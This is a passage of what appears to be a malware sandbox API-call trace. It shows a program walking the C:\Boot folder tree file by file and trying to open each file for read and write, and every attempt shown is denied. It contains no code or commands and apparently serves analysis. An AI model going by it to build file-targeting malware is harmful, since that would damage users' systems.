cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0061.947] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0061.947] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0061.947] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\el-GR") returned 13 [0061.947] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\el-GR\\*.*") returned 17 [0061.948] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0061.948] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.948] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0061.948] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0061.948] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.992] GetLastError () returned 0x5 [0061.992] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0061.992] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0061.992] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0061.992] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\en-US") returned 13 [0061.992] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\en-US\\*.*") returned 17 [0061.993] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0061.993] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.993] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0061.993] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0061.993] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.994] GetLastError () returned 0x5 [0061.994] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0061.994] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0061.994] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0061.994] GetLastError () returned 0x5 [0061.994] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0061.994] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0061.994] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0061.994] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\es-ES") returned 13 [0061.994] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\es-ES\\*.*") returned 17 [0061.995] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.004] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.004] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.005] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0062.005] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.005] GetLastError () returned 0x5 [0062.005] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.005] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.005] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0062.005] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\fi-FI") returned 13 [0062.006] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\fi-FI\\*.*") returned 17 [0062.006] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.006] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.006] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.006] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\fi-FI\\bootmgr.exe.mui") returned 29 [0062.006] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.007] GetLastError () returned 0x5 [0062.007] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.007] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.007] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0062.007] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\Fonts") returned 13 [0062.007] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\Fonts\\*.*") returned 17 [0062.007] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.032] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.032] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0062.033] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\Fonts\\chs_boot.ttf") returned 26 [0062.033] CreateFileW (lpFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.033] GetLastError () returned 0x5 [0062.033] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0062.033] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\Fonts\\cht_boot.ttf") returned 26 [0062.033] CreateFileW (lpFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.037] GetLastError () returned 0x5 [0062.037] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0062.037] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0062.037] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.037] GetLastError () returned 0x5 [0062.037] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0062.037] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0062.037] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.038] GetLastError () returned 0x5 [0062.038] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0062.038] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0062.038] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.038] GetLastError () returned 0x5 [0062.038] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0062.038] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.039] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0062.039] wsprintfW (in: param_1=0x657dcf0, param_2="%s\\%s" | out: param_1="C:\\Boot\\fr-FR") returned 13 [0062.039] wsprintfW (in: param_1=0x657b270, param_2="%s\\*.*" | out: param_1="C:\\Boot\\fr-FR\\*.*") returned 17 [0062.039] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*.*", lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7068 [0062.042] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.042] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.043] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0062.043] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.043] GetLastError () returned 0x5 [0062.043] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, 